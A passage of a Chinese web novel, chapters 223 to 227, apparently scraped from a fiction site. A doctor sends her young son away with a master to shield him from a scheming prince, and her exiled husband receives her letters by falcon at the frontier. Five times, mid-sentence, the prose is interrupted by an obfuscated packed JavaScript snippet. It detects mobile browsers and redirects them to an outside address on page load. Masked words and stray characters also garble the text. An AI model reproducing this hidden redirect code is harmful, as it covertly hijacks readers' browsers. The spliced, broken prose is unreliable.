“所以我让西七给他挑只鹰隼。”林芷柔放下茶盏,“有了鹰隼传信,我们也能经常知道他的消息。” “柔柔想得周到。”赵氏擦了擦眼角,“那我去准备些点心,让阳阳带着路上吃。” 林芷柔笑了笑,“好。” 等赵氏离开后,林芷柔走到窗前。月光透过窗棂洒进来,在地上投下斑驳的影子。 她想起魏王今日的来访,那个男人表面上彬彬有礼,实则处处试探。若不是她早有准备,恐怕已经中了他的圈套。 送走阳阳,是她能想到的最好办法。虽然心痛,但总比让儿子陷入危险要好。 第二百二十三章 送别儿子 林芷柔在夜色中轻轻推开房门,月光透过窗棂洒落一地银辉。 屋内静谧安详,只有孩子均匀的呼吸声。她的目光落在熟睡的阳阳身上,那张稚嫩的小脸在月光下显得格外安详。一阵酸楚涌上心头,她轻轻咬住下唇,努力压抑着内心翻涌的情绪。 “娘亲带你去个地方。”她轻声说着,小心翼翼地将孩子抱起。阳阳在睡梦中动了动,下意识地往她怀里蹭了蹭,软软的头发蹭得她心口一阵发痒。 锦囊里,林芷柔忙碌地收拾着各种食物。新鲜水果堆得小山似的,面包蛋糕整整齐齐码放在竹篮里,泡面、泡鸡爪更是装了好几箱。她的动作有些慌乱,生怕漏掉什么重要的东西。 “这些应该够吃一阵子了...”她喃喃自语,又想起什么似的,赶紧去翻找储物柜,“对了,还得准备些药品,万一路上...” 话没说完,她的手突然顿住了。看着熟睡的儿子,胸口仿佛被什么东西狠狠揪住,呼吸都变得困难起来。从未想过,有朝一日会不得不将孩子送走。可眼下,这竟成了最无奈却又最正确的选择。 天边泛起鱼肚白时,林芷柔就带着阳阳来到仁心医馆。清晨的露水沾湿了她的裙角,凉意顺着布料渗入肌肤。 院子里,云**正盘腿打坐,一身白衣在晨光中透着几分仙气。西七则拿着竹扫帚,认真地清扫着落叶。这是他们每日必做的功课,雷打不动。 “云**。”林芷柔深吸一口气,强迫自己的声音保持平稳,“我同意让阳阳拜您为师。” 云**猛地睁开眼睛,目光灼灼地看向她,一把将还在迷糊的阳阳抱在怀里:“当真?”那语气里藏着掩饰不住的惊喜。 “但有个条件,”林芷柔咬了咬牙,“必须立刻动身。” “为何这般着急?”云**不乐意地撇撇嘴,“我还没吃够你做的饭菜呢。” 林芷柔眼底闪过一丝焦虑,手指不自觉地绞在一起:“马车上已经准备了许多吃食,够你们一路享用。我还可以再做些,你们带着路上吃。” “好!”云**立刻答应,生怕她反悔似的,“你快去准备。” 回到家中,林芷柔带着渐渐清醒的阳阳挑选了柳明远送的马车。车厢宽敞,垫子柔软,最适合长途跋涉。 她将前一天楚准备的食物一一摆放整齐,又选了只小鹰隼,是青羽最小的崽子。那鹰隼头上一簇白毛特别显眼,像是天生的记号。阳阳一眼就喜欢上了,给它取名叫小怀。 前世留下的罐头,她小心翼翼地将外包装撕去,仅剩下玻璃瓶。红烧肉、卤猪蹄、带鱼段,一样不落地装进马车。每一样都是阳阳爱吃的,她希望在陌生的环境里,这些熟悉的味道能给孩子一些慰藉。 顾馨巧和赵氏、楚星澜都已经起来,站在院子里等着。晨光中,她们的眼圈都泛着红,显然一夜未眠。 看到母亲红肿的眼眶,林芷柔心中一痛,声音不自觉地哽咽:“母亲,我带阳阳去过仁心医馆了,这马车送给云**用。” 阳阳懂事地跪在顾馨巧面前磕头,奶声奶气地说:“祖母,等阳阳学成本事,一定回来看您。” 顾馨巧紧咬着嘴唇,不敢出声。她怕一开口,就会忍不住哭出来。 “阳阳放心。”赵氏强忍泪水,声音却依然发颤,“有你娘亲和阿奶在,定会照顾好祖母的。” 楚星澜将阳阳抱在怀里,轻轻摸着他的头发:“想家了就让小怀回来传信,姑姑会告诉你家里的事。” 阳阳乖巧地点点头,让小怀一一记住家人的气息。小鹰隼扑棱着翅膀,亲昵地蹭着每个人。 林芷柔看着这一幕,心如刀绞。可为了保护儿子,她别无选择。魏王的心思她太清楚,若让他知道阳阳的重要性,定会拿孩子要挟她。想到这里,她的手不自觉地攥紧了衣角。 马车缓缓驶出家门,车轮碾过石板路,发出咯吱咯吱的声响。 顾馨巧终于忍不住哭出声来,声音里满是苦涩:“我们楚家,何时沦落至此?连个孩子都留不住......” 赵氏连忙搀扶着她,轻声安慰:“夫人节哀,这是为了保护阳阳。有云**这样的高人做师父,谁还敢动他?” 林芷柔望着远去的马车,心如刀割。清晨的寒风吹散了她额前的碎发,也吹不散心头的沉重。 她强忍着泪水,挤出一抹笑容,朝着车帘后那张稚嫩的小脸挥手告别。马车轮毂碾过青石板路,发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974896|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规律的咯噔声,每一声都像敲在她心上。 “娘亲再见!”阳阳清脆的童声随风飘来,他小手扒在车窗边,黑葡萄般的大眼睛里闪着泪光。 云**坐在马车里,轻轻拍着阳阳的后背:“乖,到了青霞山,师傅就把自己的毕生所学都传授给你。” 阳阳抽了抽鼻子,点点头。他虽然年纪小,却懂事得让人心疼。 楚星澜在一旁抹着眼泪,看着那道渐行渐远的身影,忍不住抽泣:“嫂嫂,阳阳真的跟着云**走了?他还这么小......” 林芷柔收回目光,轻轻摇头,嗓音有些沙哑:“这是最好的选择。”她的指甲深深掐进掌心,才能让自己保持清醒。青霞山清净无扰,有云**这样的高人教导,阳阳定能平安长大。 西七站在一旁,望着远去的马车若有所思。晨光中,他那张略显沧桑的脸上浮现出复杂的神色。他想起自己当年也是这般年纪,就被外公和舅舅带离家乡。 “林大夫,”西七压低声音,“是不是魏王那边有什么动静?” 林芷柔没有回答,只是淡淡一笑。她的目光掠过远处魏王府的方向,眼底闪过一丝冰冷。她心里清楚,魏王这条毒蛇早已盯上了她。若是阳阳留在身边,只怕会成为魏王要挟她的把柄。 回到院中赵氏看着林芷柔僵直的背影,欲言又止。她知道,此刻任何安慰的话语都显得苍白无力。 楚星澜走到林芷柔身边,轻轻握住她的手。掌心相触的一刻,她感受到了那份压抑的颤抖。 “嫂嫂...”楚星澜轻声唤道。 林芷柔深吸一口气,勉强挤出一个笑容:“我没事。”她转身看向家人,“我知道阳阳跟着云**,定能学得一身本事。等他学成归来,我们楚家也该...” 话未说完,她的声音又哽住了。那些未尽的话语,化作一声叹息,消散在晨风里。 顾馨巧擦干眼泪,强打起精神:“都别站着了,进屋吧。”她拉着林芷柔的手,“柔柔,你一楚没睡,先去休息会儿。” 林芷柔点点头,却知道自己此刻根本无法入睡。阳阳离开的背影,还清晰地印在她的脑海里。她需要时间去适应这突如其来的分离。 第二百二十四章 边关 不久魏王府那边也传来消息。 墨翎脸上带着焦急:“主人,魏王说......”她压低声音,将从灰鼠七那边得来的消息一五一十地汇报。 林芷柔冷笑一声,魏王果然打着让阳阳做人质的主意。可惜,她早就看穿了他的心思。 “墨翎,去准备些东西,我要去一趟魏王府。”林芷柔站起身,整理了一下衣襟。 “嫂嫂!”楚星澜急忙拦住她,“您不能去啊!魏王那人阴险狡诈,万一......” “放心,”林芷柔轻轻拍了拍楚星澜的手,“我自有分寸。” 西七皱眉道:“要不要我陪您去?” “不必,”林芷柔摇头,“你们留在府上,我去去就回。” 魏王府气派非凡,朱漆大门上的铜环在阳光下泛着冷光。林芷柔跟着小厮穿过重重庭院,终于来到了魏王的书房外。 “林大夫,”魏王放下手中的书卷,露出一个意味深长的笑容,“听说令郎去青霞山学艺了?” 林芷柔不动声色地回道:“是,云**本领高,阳阳跟着她学习再好不过。” “可惜了,”魏王踱步到窗前,“本王还想着,让令郎来王府做个伴读。本王膝下有个与令郎年纪相仿的孩子。” 林芷柔心中冷笑,面上却露出歉意:“多谢王爷厚爱,只是阳阳天资愚钝,怕是配不上王爷的看重。” “林大夫谦虚了,”魏王转过身,眼中闪过一丝锐利,“本王听闻,令郎体内有一股奇特的内力?” 林芷柔心头一紧,却依旧保持着平静:“王爷说笑了,阳阳不过是个普通孩子。” “是吗?”魏王意味深长地笑了笑,“那本王就勉强了。不过......”他顿了顿,“本王这里有个病人,需要林大夫亲自诊治。” 林芷柔明白,这才是魏王的真正目的。 与此同时,边关。 寒风凛冽,雪花纷飞。楚星河独自靠在城墙上,目光穿过茫茫雪原,望向帝都的方向。皑皑白雪中,他的身影显得格外孤寂。 “柔柔,阳阳......”他低声呢喃,呼出的白气很快就被寒风吹散。 林小七蹲在他脚边,忽然竖起耳朵,鼻子抽动了几下。 一个黑点从远处天际飞来,在这片白茫茫的天地间格外醒目。 “是青羽!”林小七兴奋地叫道,尾巴摇得像个拨浪鼓。 楚星河眼前一亮,快步迎了上去。寒风吹乱了他的发丝,却掩不住眼中的期待。 青羽疲惫地落在林小七背上,翅膀上还沾着雪花:“可算找到你们了,这鬼地方可真够远的。老子差点被冻成冰棍!” “少废话,快把信给我。”林小七不耐烦地说,“你再墨迹,我就把你扔进火堆里暖和暖和。” 青羽从爪子上取下竹筒,小心翼翼地递给楚星澜:“喂,你家主人的信。这一路可不容易,差点被大雕给叼走。” 楚星河接过竹筒,手指微颤。这是柔柔送来的第一封信,他迫不及待想知道家里的情况。 “柔柔......”他轻声念着这个朝思暮想的名字,仿佛要将这两个字刻进心里。 林小七和青羽在一旁斗着嘴:“你这只破鸟,飞这么慢,害我等这么久。” “我破鸟?你这只臭狼,有本事你自己飞过来啊!信不信我啄瞎你的狗眼!” “来啊!谁怕谁!” 楚星河没理会他们的争吵,小心地打开竹筒,取出里面的信笺。信纸上还带着淡淡的药香,那是柔柔身上特有的味道。 熟悉的字迹映入眼帘,他的心猛地揪紧。柔柔在信中说,她和阳阳都很好,让他不必挂念。可字里行间,他却读出了她的担忧和不安。 这一刻,他多想立刻飞回帝都,见见日思夜想的妻儿。可他知道,自己肩负着守卫边关的重任,不能轻易离开。 他只能将这份思念,寄托在这薄薄的信笺上。 远处,号角声响起,打破了这短暂的宁静。 “将军!”一个士兵匆匆跑来,“北蛮人的斥候出现在三十里外!” 楚星河收起信笺,眼神瞬间变得锐利:“传令下去,全军戒备!” 林小七立刻停止了与青羽的争吵,警惕地竖起耳朵。 青羽拍了拍翅膀:“得,看来我得在这待几天了。这鬼天气,可不敢贸然往回飞。” 楚星河最后看了一眼信笺,小心地收进怀中。他知道,为了守护心爱的人,他必须在这里守住边关,守住这片疆土。 青羽站在楚星河的肩头,不停地转动着脑袋打量四周。寒风呼啸着掠过光秃秃的山头,卷起细碎的雪花,在空中打着旋儿。 “这鬼地方怎么到处都是冰雪?连棵像样的树都看不见,叫我去哪打猎?”青羽抖了抖羽毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974897|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不满地嘟囔着,“这里连只老鼠都没有,我可不想饿死在这荒山野岭。” 远处传来一阵欢快的脚步声,林小七蹦蹦跳跳地跑了过来,它圆溜溜的眼睛里闪烁着兴奋的光芒:“别担心,我知道哪里有好东西。跟我走,保管让你吃个饱!” “真的?”青羽眼睛一亮,立刻从楚星河肩上飞到林小七背上,“快带路,我都快饿**,好几天没吃饭了。这一路飞来,差点没把我累趴下。” “放心吧,我们这边虽然条件艰苦,但总能找到吃的。”林小七得意地晃了晃尾巴,“山那边有个山洞,里面有不少储存的干果和坚果,都是我们族群收集的。” 看着两个小家伙渐渐远去的身影,楚星河再也控制不住内心的激动。他转过身,不让巡逻的士兵看到自己失态的模样,温热的泪水却不受控制地顺着脸颊滑落。 寒风刮得脸颊生疼,但此刻的楚星河却感受不到丝毫雨柳。若不是有林小七和它的族群一路相助,他们父子三人恐怕早已命丧黄泉。这一切都是他的柔柔,他的小仙女给他带来的奇迹。 深吸几口气,楚星河擦去脸上的泪水,手指微微发颤地展开手中的信纸。纸张已经有些泛黄,边角也略显破损,但这丝毫不影响他的喜悦之情。 第一张信上,柔柔的字迹清秀工整,一笔一划都透着她特有的温柔:【星河,见字如面。我们已到帝都,因老夫人不许入住楚家老宅,便在城南置办了处院子。这院子是给温五陈治好了母亲的病和不育之症后,他送的诊金。我开了家仁心医馆,一切都好。阳阳会喊爹了,可惜你听不见。很想你,照顾好自己。】 楚星河将信纸贴在胸口,仿佛能感受到柔柔写信时的温度。他闭上眼睛,脑海中浮现出儿子稚嫩的小脸,想象着他奶声奶气喊“爹”的样子。 第二张信纸上的字迹略显匆忙:【母亲、姨娘和澜儿都很好,只是时常挂念你们。包裹里有玉牌,陇城天寒地冻,一定要好好照顾自己。青羽既然能送信来,下次便能带玉牌过去。你们可是家里的支柱啊,千万要保重身体。三叔托三婶送来一百五十两银子,这份情意我收下了。】 “立正!”远处传来一声厉喝,楚星河连忙将信件收好,回到巡逻队伍中。 巡逻的路上,他的思绪却不由自主地飘向帝都。虽然和柔柔相隔千里,但有了这联系的纽带,仿佛两地的距离一下子拉近了许多。 第二百二十五章 家信 寒风呼啸,雪花纷飞,巡逻的士兵们都缩着脖子,脸上写满了疲惫。楚星河看着远处连绵的群山,不禁想起了柔柔第一次见到他时的情景。那时的她,也是这样坚强而倔强。 巡逻结束回到住处,一股淡淡的烟火气从屋内飘出。推开吱呀作响的木门,楚星霆正在土灶前忙活,锅里煮着一锅红薯稀饭。 “父亲,家里来信了。”楚星河将第二封信递给正在劈柴的楚云浪。 楚云浪放下手中的斧头,接过信时,粗糙的手掌都在微微发抖。他的目光在信纸上一字一句地扫过,眼角不知不觉泛起了泪光。 “儿媳妇真是有本事。”看完信后,楚云浪抹了抹眼角,脸上露出欣慰的笑容,“不愧是我楚家的儿媳。” “让我看看!”楚星霆擦了擦手,接过信纸,“嫂子太厉害了,让我们该吃吃该喝喝,要不是她给的玉牌,我们在这陇城还真不知该如何度日。这鬼地方,光是打点关系就花了不少银子。” 屋内的火光映照在三人脸上,投下摇曳的影子。楚云浪看着两个儿子,意味深长地说道:“要记住你嫂嫂的好。能有芷柔这样的儿媳,是我们楚家的福气。” “祖母居然不让柔柔她们进老宅。”楚星河握紧拳头,声音中带着压抑的怒意。 “什么?”楚云浪脸色一沉,眉头紧皱,“老宅的修缮费用可都是云陵伯府出的,她有什么资格不让进呢?” 楚星霆端来三碗红薯稀饭,虽然卖相不佳,但在这苦寒之地,能填饱肚子就是最大的幸事。他叹了口气:“这老宅本就是我们楚家的,现在倒好,反倒成了外人。” 三人分到这间小土坯房,还是花了五十两银子打点了官头才得来的。屋子虽然简陋,但总比挤在大通铺强。墙角堆着些干柴,火光映照下,墙上的裂缝更显狰狞。 “青羽应该跟着林小七去觅食了,”楚星河喝了口稀饭,“等它回来,我让它带些玉牌过去。这陇城虽然艰苦,但总算有个安身之所。” 夜色渐深,寒风依旧在呼啸,可楚星河的心里却是暖的。他的柔柔,就像那雪中绽放的红梅,无论环境多么艰难,都能傲然绽放。 门外传来青羽和林小七的声音,两个小家伙似乎收获颇丰。楚星河起身去开门,寒风夹杂着雪花扑面而来,他不禁打了个寒颤。 楚云浪望着窗外飘落的雪花,眼神有些恍惚。油灯在寒风中摇曳,将他的影子投射在斑驳的墙壁上,忽大忽小。 这片白茫茫的天地间,仿佛只剩下他们这一处微弱的灯火。北境的冬夜格外漫长,连时间都仿佛被冻结。 屋内炉火正旺,却驱散不了心头的阴霾。楚云浪的目光落在桌上那封已经读过多遍的信上,纸张因反复摩挲而变得起皱。 “父亲,”楚星河轻声开口,注意到父亲眼角微微泛红,“您在想什么?” 楚云浪收回思绪,声音有些沙哑:“想你母亲和嫂嫂。”他顿了顿,“老夫人那个性子,我心里清楚得很。当初若不是为了保全你们......” 话未说完,他摇了摇头,端起桌上的茶盏。茶水已经凉了,他却浑然不觉,一饮而尽。 楚星霆坐不住了,从火炉边跳起来:“那母亲和嫂嫂现在到底住在哪里?” “城南。”楚星河将手中的信件叠好,回想着林芷柔来信中提到的内容,“她救了个叫温五陈的人,那人的母亲中了奇毒。你嫂嫂费了不少功夫才治好他们。那家人感激不尽,以一座小院和一间铺面作为诊金。” “柔柔在帝都开了家仁心医馆,”他继续说道,目光柔和了几分,“虽然规模不大,但也能维持生计。信上说,每天都有不少病人上门求医。” “好!果然是我楚家媳妇的风范!”楚云浪激动得声音都在发颤,眼中闪过欣慰的光芒,“有手艺在身上,到哪都饿不着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980692|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>屋内的油灯忽明忽暗,映照着三人的脸庞。炉火噼啪作响,火星四溅,在寒楚中格外醒目。 “那就好,那就好。”楚星霆松了口气,在火炉边坐下,“有嫂嫂在,什么都不用担心。”他忽然想到什么,转头看向大哥,“对了大哥,你怎么会知道这些事的?” 楚云浪瞪了小儿子一眼:“还不快去洗碗!整天就知道打听这打听那。” 楚星霆眼睛一亮,嘿嘿笑道:“我明白了,肯定是嫂子给大哥另写了封信。” 说完,他一溜烟跑去洗碗了,留下父子二人相对无言。 “阳阳怎么样?”良久,楚云浪打破沉默。提起孙子,他眼中闪过一丝期待。 “会喊爹了。”楚星河苦笑,“真遗憾我不在家里,听不到。”他摸了摸怀中的信件,“柔柔说他长得很快,已经会自己走路了。” 屋内再次陷入沉默。火光映照下,父子二人的影子在墙上交错,仿佛在诉说着无言的思念。 外面的风声呼啸,不时有雪花飘进窗棂。楚云浪裹了裹身上的棉袄,问道:“送信的是什么人?这种天气,能平安到达已是不易。” “是一只叫青羽的鹰隼,”楚星河说着,目光投向窗外,“现在跟林小七去打猎了。这鹰隼通人性得很,柔柔说是她在山中救下的。” “父亲有什么话要捎回去吗?”他补充道,“等青羽回来就能带信。” 楚云浪摇摇头,端起手边的仙露泉喝了一口。水中泛着淡淡的光晕,入口清甜:“这水快没了。要是喝不上,不知道身子骨会不会回到从前那般。” “我写信问问柔柔。”楚星河安慰道,“她一定有办法。” “这地方常年寒冷,身子骨不好很难熬。”楚云浪望着窗外纷飞的雪花,“前几天就有几个老人熬不过去,活活冻**。自打喝了这水,我全身充满了源源不断的力量。要是没了......” 第二百二十六章 骄傲的青羽 话未说完,门外传来一阵急促的脚步声,夹杂着兴奋的犬吠。 林小七和青羽回来了,一个叼着肥硕的狍子,一个衔着两只雪兔。它们的毛发上沾满了雪花,在火光下闪闪发亮。 青羽将兔子丢在地上,抖了抖羽毛,叽叽喳喳地叫着,似乎在炫耀今天的收获。 楚星霆放下手中的碗,好奇地围着青羽转圈:“好家伙,这么大的鹰隼我还是头一次见!” 青羽昂首挺胸,任由少年打量。它的羽毛虽然杂乱,但眼神锐利,举止优雅,一看就不是普通的猎鹰。 楚星河赶紧写完信,将纸条仔细卷好,装进青羽脚上的竹筒:“天黑了才安全,你快些走吧。这里人多眼杂,别被人发现了。” “哥,它真能听懂吗?”楚星霆一脸惊奇。 青羽拍打着翅膀,发出一声不屑的鸣叫:“当然能听懂,我可是有能耐的青羽!” 楚星河暗道失言,好在父亲及时解围:“只要能驯养鹰隼的人,都得掌握它们的习性。你嫂子定是研究过的。” 楚星霆恍然大悟,蹲在青羽身边轻声说:“帮我告诉娘,我在这里很好,别担心。虽然不能读书,但我会努力成为一名武将。”说着,他摸了摸青羽的头。 楚云浪也走上前来:“告诉夫人,我身体很好,能吃能睡。让她照顾好自己,不要太操劳。” 青羽点点头,楚星霆惊喜地抱起它:“你真聪明!下次来我藏着你玩几天。这里虽然冷,但猎物多得是。” 林小七在一旁嗷呜直叫:“就这么点地方,往哪藏?再说了,我还等着它一起打猎呢!” 楚星河将青羽带到门外。寒风呼啸,雪花纷飞,天地间一片苍茫。 “路上小心,累了就休息。”他轻声叮嘱,“别太拼命。” 青羽心中感动,这男主人比女主人体贴多了。它想到女主人总是剥削它,让它飞越千山万水,风里来雨里去。 不过...... 它和家人能住在那无忧无虑的锦囊,喝着玄元之水,越来越强壮。做个信使,在天地间自由翱翔,似乎也不错。 “知道了,知道了,我这就走。”青羽扑棱着翅膀,发出一连串清脆的鸣叫。它在空中盘旋了两圈,羽毛在月光下泛着银色的光泽,随即腾空而起,转眼便消失在浓重的夜色中。 楚星河仰头望着漆黑的楚空,微凉的夜风拂过他的面颊。远处传来几声零星的鸟鸣,像是在回应青羽的告别。他抬手揉了揉有些发酸的太阳穴,眼底闪过一丝疲惫。这只聒噪的家伙,总是来去匆匆,下次又会在什么时候出现呢? 楚星河站在门口,久久未动。直到身后传来父亲的咳嗽声,他才回过神来。 “进来吧,”楚云浪说道,“外面冷。” 楚星河关上门,屋内的温暖让他打了个寒颤。他看着父亲佝偻的背影,心中五味杂陈。 楚星霆已经在收拾今天的猎物,林小七蹲在一旁直流口水。炉火依旧旺盛,将一家人的影子投射在墙上,渐渐重合在一起。 窗外,雪依然在下,仿佛永远不会停歇。但至少,他们知道远方还有家人在牵挂着自己,还有希望在等待。 帝都城门楼上的守卫正在打着瞌睡,忽然被一阵马蹄声惊醒。他揉了揉惺忪的睡眼,借着微弱的灯光看到一辆普通的马车正缓缓驶向城门。 “这么晚了还要出城?”守卫嘟囔着站起身,拿起手中的灯笼照向马车,“来者何人?” 云**勒住缰绳,抬头应道:“张某要带徒弟去青霞山修行,烦请放行。” 守卫打量了一番马车,见确实没什么可疑之处,便摆摆手道:“快些过去吧,夜路难行,当心些。” 马车缓缓驶出帝都北门,云**执着缰绳,目光远眺着北方连绵的青霞山。,远处的山峰若隐若现,笼罩在一层薄薄的云雾中。那里终年积雪,峰峦叠嶂,九九八十一座山峰各具特色。他曾花了整整十年时光,用画笔将这些山峰一一描绘下来。 清晨的山路上弥漫着淡淡的水汽,马蹄踏在湿润的泥土上发出轻微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980693|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声响。偶尔有早起的鸟儿从头顶掠过,发出几声清脆的啼鸣。 肚子传来一阵饥饿感,云**将马车停在路边的一棵大树下。他活动了下有些发麻的手臂,掀开车帘钻了进去。阳阳正无精打采地靠在一旁,小脸有些发白,见他进来才勉强坐直了身子。 “饿了。”云**干咳一声,有些不自在地说道。他向来不习惯向人开口要吃的,但现在的确饿得有些头晕。 阳阳立刻打起精神,从身边的包袱里翻找起来。很快,他递上一盒牛奶和一块面包,脸上露出期待的神色。云**接过来,疑惑地打量着被涂鸦得面目全非的牛奶盒,只能勉强辨认出一个歪歪扭扭的牛的图案。 “这样喝。”阳阳示范着咬开吸管,我自己也拿了一盒,小口小口地抿着,“面包可以当早餐,很香的。娘亲说这是最新研制的配方,特别适合赶路的人吃。” 云**学着喝了一口,清淡的口感让他很是满意。他向来不爱甜食,总觉得那是小孩子的玩意。可这面包却出乎意料的美味,松软可口,香气四溢。咬一口便能感受到面团的韧性,内里还夹杂着细碎的果仁,让人忍不住想要多吃几口。 一块面包下肚,云**的目光不由自主地瞟向其他包袱。这一路上还不知道要走多久,得把干粮省着点才行。可他实在是有些好奇,这些包袱里还装着什么稀奇古怪的东西。 阳阳似乎看出了他的心思,会意地从包裹里取出一罐红烧猪蹄。玻璃罐在晨光中泛着莹润的光泽,里面的猪蹄色泽红亮,汤汁浓稠,光是看着就让人食欲大开。 “娘亲特意给师父准备的。”阳阳小心翼翼地拧开盖子,一股浓郁的香气立刻充满了整个车厢,“娘亲说师父喜欢吃这个。” 云**接过玻璃罐,心中暗暗咂舌。这林大夫也太阔绰了,居然用这么贵重的琉璃瓶来装猪蹄。他用筷子夹起一块,轻轻咬了一口,顿时被这美味征服了。猪蹄软烂入味,肥而不腻,配上底下的花生仁,一口咸一口香,让人忍不住想要连汤汁都一并喝掉。 第二百二十七章 赶往青霞山 正吃得起劲,忽然听见外面传来一阵翅膀扇动的声音。一只通体雪白的鹰隼从天而降,稳稳地停在马车门口。它的体型比普通的猎鹰要大上一圈,利爪和喙部闪着寒光,一双金色的眼睛炯炯有神。 阳阳见状欢快地打开包袱,取出一只处理好的鸡扔给它。那鹰隼叼住鸡肉,三两下就吞进肚子里,然后抖了抖羽毛,发出一声满意的鸣叫。 云**看得目瞪口呆:“这是你养的?” “嗯,娘亲说让小怀陪着我,还能帮我送信。”阳阳天真地回答,伸手轻轻抚摸着鹰隼的羽毛,“它很乖的,从来不会伤人。” “你知道这玩意儿是什么吗?这可是鹰隼啊!”云**哭笑不得,“这种猛禽可不是一般人能驯服的。” 阳阳点点头:“知道啊。它的爹去给我爹送信了。”说着,还亲昵地摸了摸鹰隼的脑袋。 云**扶额,这孩子说的话怎么这么绕。不过看这情形,这林大夫的本事确实不小,连鹰隼都能驯服。他正想着,就见阳阳又从包袱里翻出一个水果。 “萤萤都洗干净了,师父尝尝。”阳阳将水果递到他面前,“这是娘亲特意种的,很甜的。” 云**接过水果,只见它外表晶莹剔透,散发着淡淡的清香。他好奇地咬了一口,顿时愣住了。这水果鲜嫩多汁,甜美异常,口感细腻,绝非寻常果子能比。 “这是从哪来的?”他忍不住追问道,“我从未见过这种水果。” “师父别问了,有得吃就行。”阳阳嘟着嘴,显然不想多说。他指着一个红色包袱,转移话题道,“那是娘亲给您的谢礼。” 云**一边啃着水果一边打开包袱,里面是一个精致的红色礼品盒。盒子上绣着祥云纹样,一看就不是凡品。他小心翼翼地掀开盖子,瞬间倒吸一口凉气。 三根百年鲜参静静地躺在盒中,根须完整,形态优美,散发着浓郁的药香。这样的宝贝,就是皇宫里也未必能寻到几根。云**的手微微发抖,他知道这份谢礼的分量有多重。 “这...这太贵重了。”他下意识地想要合上盖子,却被阳阳按住了手。 “娘亲说了,这是应该的。”阳阳认真地说道,“师父要教我医术,这些都是应该的。” 云**看着眼前这个稚气未脱的孩子,心中五味杂陈。他收徒向来都是看缘分,从未想过要收取什么谢礼。可这份礼物,却让他感受到了前所未有的压力。 马车继续在山路上前行,晨光渐渐变得明亮。云**望着远处的青霞山,心中不禁思绪万千。这一路,恐怕不会太平静啊。 阳阳将那盒子递到云**面前,眼中带着几分不满:“师父,您怎么总是问东问西的?我妈是医生,手里有些药材不是很正常吗?” 云**看着小徒弟那张稚嫩的小脸,不禁有些愧疚。林大夫给他这些鲜参,无非是希望他能好好照顾阳阳。他伸手轻轻抚摸着盒中的三根鲜参,指尖触及那细腻的表面,一股清新的药香顿时弥漫开来。 来天玄帝都寻找老参炼丹,本以为要空手而归,没想到天降好运,得了这样的宝贝。云**小心翼翼地将鲜参拿起,在阳光下细细打量。参体通体金黄,根须完整,每一根都有婴儿手臂粗细,品相极佳。 新鲜的人参散发着沁人心脉的香气,让人精神为之一振。云**不由自主地深吸一口气,仅仅是闻到这股香气,就觉得浑身上下说不出的舒畅。 “师父,那边还有个大坛子。”阳阳指着角落里的酒坛,眼中闪过一丝狡黠。 云**放下手中的鲜参,走到角落。那是一个青花瓷坛,坛身上绘着流云飞鹤的图案,做工精致。他俯身掀开坛盖,一股清冽的气息扑面而来,比寻常山泉更加清澈纯净:“这是什么水?” “娘亲特意给我准备的。”阳阳眨着大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984443|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,声音清脆,“说是能强身健体的。” 云**用瓷碗舀了一碗尝了尝,入口甘甜,如同琼浆玉液,入口即化。更令他惊讶的是,一股暖流顺着喉咙流入丹田,全身经脉为之一震。那股暖意如同春风化雨,滋润着每一寸血肉。 